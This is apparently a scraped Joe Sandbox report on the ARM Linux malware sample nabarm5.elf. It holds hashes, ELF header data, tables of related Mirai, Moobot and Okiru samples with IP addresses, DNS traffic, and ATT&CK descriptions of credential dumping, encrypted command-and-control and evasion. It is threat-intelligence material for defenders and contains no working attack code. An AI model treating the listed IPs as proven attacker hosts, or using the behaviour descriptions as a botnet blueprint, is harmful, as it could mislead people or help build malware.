	meow.arm7.elf	Get hash	malicious	Unknown	Browse	203.133.62.66
	meerkat.x86.elf	Get hash	malicious	Mirai	Browse	103.46.146.125
	nIl2wyif6Q.elf	Get hash	malicious	Unknown	Browse	58.115.216.25
	firmware.m68k.elf	Get hash	malicious	Unknown	Browse	122.147.160.220
	mpsl.elf	Get hash	malicious	Mirai	Browse	58.115.61.228
	SecuriteInfo.com.Linux.Siggen.9999.628.23482.elf	Get hash	malicious	Mirai	Browse	203.133.62.41
	Xi102MnZby.elf	Get hash	malicious	Mirai	Browse	203.133.62.48
	8DR3hoWhoa.elf	Get hash	malicious	Mirai	Browse	61.65.245.21
	iMIPKWpiyO.elf	Get hash	malicious	Unknown	Browse	203.133.62.89
GOOGLE-FIBERUS	nabarm7.elf	Get hash	malicious	Unknown	Browse	136.58.241.0
	fbot.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	136.60.79.166
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	136.41.225.216
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	136.47.7.55
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	136.48.196.7
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	192.119.23.7
	arm5.nn-20241122-0008.elf	Get hash	malicious	Mirai, Okiru	Browse	136.47.194.158
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	136.44.209.246
	sh4.elf	Get hash	malicious	Mirai	Browse	136.46.33.156
	owari.mips.elf	Get hash	malicious	Unknown	Browse	136.62.37.193
CSC-UK-MWHGB	powerpc.elf	Get hash	malicious	Unknown	Browse	20.155.58.172
	na.elf	Get hash	malicious	Unknown	Browse	20.155.58.183
	sora.arm.elf	Get hash	malicious	Mirai	Browse	20.155.58.161
	w17yCE18dz.elf	Get hash	malicious	Mirai	Browse	20.155.117.8
	SecuriteInfo.com.Linux.Mirai.4326.1697.13000.elf	Get hash	malicious	Unknown	Browse	20.155.58.164
	kyQ6tISCd6.elf	Get hash	malicious	Mirai	Browse	20.155.117.2
	bn1Qko9hsY.elf	Get hash	malicious	Mirai	Browse	20.155.58.191
	rztrJwdTYw.elf	Get hash	malicious	Mirai	Browse	20.155.117.0
	sora.arm.elf	Get hash	malicious	Mirai	Browse	20.155.58.144
	5Yq5yucG5n.elf	Get hash	malicious	Mirai	Browse	20.155.58.194
VODAFONE-IT-ASNIT	fbot.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	2.43.158.226
	apep.x86.elf	Get hash	malicious	Mirai	Browse	93.65.7.143
	x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	188.219.255.225
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	5.92.5.158
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	2.39.255.133
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	5.91.52.36
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	109.116.112.103
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	93.150.192.229
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	130.0.165.118
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	2.42.17.57

Process:	/tmp/nabarm5.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.240206891195095
Encrypted:	false
SSDEEP:	6:+gDFSpOj/VC5sDFOGb/VjmsVot/VOArB/VH:+YYctAGql
MD5:	4694313289AF47FF04F648D26665B801
SHA1:	E15EBE8B28A828E6278A08E68708A88248C6E581
SHA-256:	2C880F28C3E9823D170044B88CAF2FEE5D5766C7BA5445BD5B6A1313122C1FC7
SHA-512:	FF3893396EAA32CFFF72DE7ADBBCEA852F6356697A261D358362E7594962AC6C9D3EDF5A65065D558CA0BFA283BF480CAE40B85BBD9FA9C1F30994B2F1561B96
Malicious:	false
Reputation:	low
Preview:	8000-12000 r-xp 00000000 fd:00 531606 /tmp/..19000-1a000 rw-p 00009000 fd:00 531606 /tmp/..1a000-1c000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.05469495529198
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabarm5.elf
File size:	40'024 bytes
MD5:	40c6167d96da4ae9064733d7073babbc
SHA1:	36f8b42f92e774327c05810edfe439e2762dd36f
SHA256:	085958f4debe505ed09785ea3bca7d9955689bac4056314b804540329d4a3464
SHA512:	3965f1f861d3fc2edb8e89729892e2531c0651b2f00325b8be739baf7e7be8225b8c9282d1a9615c396337e374e7dc4750fcd353ad2820e5b824c7244108f241
SSDEEP:	768:xaW4dpSrQoeV7ZDsl8dviDQ53U6QNLZW3I9ElSQnNGt6f4T3bsRQ:B8+FpQ53sZW0l2Ge4T3bsRQ
TLSH:	B803E786F891CA16C9D591B7FB4E82DC372613A8D1EF7303DD15BB693A4782A0E3B540
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................................................p...............Q.td..................................-...L."...>"..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	39584
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x8930	0x0	0x6	AX	16
.fini	PROGBITS	0x109e0	0x89e0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x109f4	0x89f4	0xef4	0x0	0x2	A	4
.ctors	PROGBITS	0x198ec	0x98ec	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x198f4	0x98f4	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x198fc	0x98fc	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x19900	0x9900	0x15c	0x0	0x3	WA	4
.bss	NOBITS	0x19a5c	0x9a5c	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x9a5c	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x98e8	0x98e8	6.1082	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x98ec	0x198ec	0x198ec	0x170	0x1308	0.6788	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 00:01:52.604939938 CET	58752	53	192.168.2.23	202.61.197.122
Nov 27, 2024 00:01:52.854492903 CET	53	58752	202.61.197.122	192.168.2.23
Nov 27, 2024 00:02:04.380101919 CET	54730	53	192.168.2.23	152.53.15.127
Nov 27, 2024 00:02:04.624458075 CET	53	54730	152.53.15.127	192.168.2.23
Nov 27, 2024 00:02:16.792197943 CET	54208	53	192.168.2.23	185.181.61.24
Nov 27, 2024 00:02:17.051574945 CET	53	54208	185.181.61.24	192.168.2.23
Nov 27, 2024 00:02:29.275836945 CET	37176	53	192.168.2.23	152.53.15.127
Nov 27, 2024 00:02:29.523540020 CET	53	37176	152.53.15.127	192.168.2.23
Nov 27, 2024 00:02:41.735285044 CET	55155	53	192.168.2.23	185.181.61.24
Nov 27, 2024 00:02:41.998025894 CET	53	55155	185.181.61.24	192.168.2.23
Nov 27, 2024 00:02:54.207968950 CET	54006	53	192.168.2.23	185.181.61.24
Nov 27, 2024 00:02:54.465508938 CET	53	54006	185.181.61.24	192.168.2.23
Nov 27, 2024 00:03:06.669708014 CET	60349	53	192.168.2.23	152.53.15.127
Nov 27, 2024 00:03:06.907993078 CET	53	60349	152.53.15.127	192.168.2.23
Nov 27, 2024 00:03:18.439905882 CET	36771	53	192.168.2.23	202.61.197.122
Nov 27, 2024 00:03:18.691318035 CET	53	36771	202.61.197.122	192.168.2.23
Nov 27, 2024 00:03:30.932483912 CET	39466	53	192.168.2.23	81.169.136.222
Nov 27, 2024 00:03:31.171612024 CET	53	39466	81.169.136.222	192.168.2.23
Nov 27, 2024 00:03:43.386938095 CET	56896	53	192.168.2.23	81.169.136.222
Nov 27, 2024 00:03:43.626377106 CET	53	56896	81.169.136.222	192.168.2.23
Nov 27, 2024 00:03:55.835161924 CET	55879	53	192.168.2.23	168.235.111.72
Nov 27, 2024 00:03:56.142584085 CET	53	55879	168.235.111.72	192.168.2.23

Start time (UTC):	23:01:44
Start date (UTC):	26/11/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabarm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0jcoee (deleted)

/tmp/qemu-open.0qdbGb (deleted)

/tmp/qemu-open.1CM0se (deleted)

/tmp/qemu-open.1NhF1a (deleted)

/tmp/qemu-open.1PWged (deleted)

/tmp/qemu-open.1YVBVd (deleted)

/tmp/qemu-open.28QlDb (deleted)

/tmp/qemu-open.2A0jLe (deleted)

/tmp/qemu-open.3nKuNd (deleted)

/tmp/qemu-open.47UmHc (deleted)

/tmp/qemu-open.4f7VYe (deleted)

/tmp/qemu-open.56qKJd (deleted)

/tmp/qemu-open.5CjJSb (deleted)

/tmp/qemu-open.5Fd2vc (deleted)

/tmp/qemu-open.5f7Fqc (deleted)

/tmp/qemu-open.6E4zRd (deleted)

/tmp/qemu-open.6Fqijc (deleted)

/tmp/qemu-open.6YlM6c (deleted)

/tmp/qemu-open.6d5zNc (deleted)

/tmp/qemu-open.7J6R5d (deleted)

/tmp/qemu-open.7Un5be (deleted)

/tmp/qemu-open.7bCx9a (deleted)

/tmp/qemu-open.8fIded (deleted)

/tmp/qemu-open.91In5d (deleted)

/tmp/qemu-open.9SCRRa (deleted)

/tmp/qemu-open.9XAvad (deleted)

/tmp/qemu-open.9knhue (deleted)

/tmp/qemu-open.9tis0c (deleted)

/tmp/qemu-open.9tyVze (deleted)

/tmp/qemu-open.9v7hYe (deleted)

/tmp/qemu-open.9xHgmb (deleted)

/tmp/qemu-open.A2HpKa (deleted)

/tmp/qemu-open.APAXCd (deleted)

/tmp/qemu-open.B0Ld2e (deleted)

/tmp/qemu-open.BSceZd (deleted)

Linux Analysis Report
nabarm5.elf

Start time (UTC):	23:01:50
Start date (UTC):	26/11/2024
Path:	/tmp/nabarm5.elf
Arguments:	/tmp/nabarm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:01:51
Start date (UTC):	26/11/2024
Path:	/tmp/nabarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:01:52
Start date (UTC):	26/11/2024
Path:	/tmp/nabarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre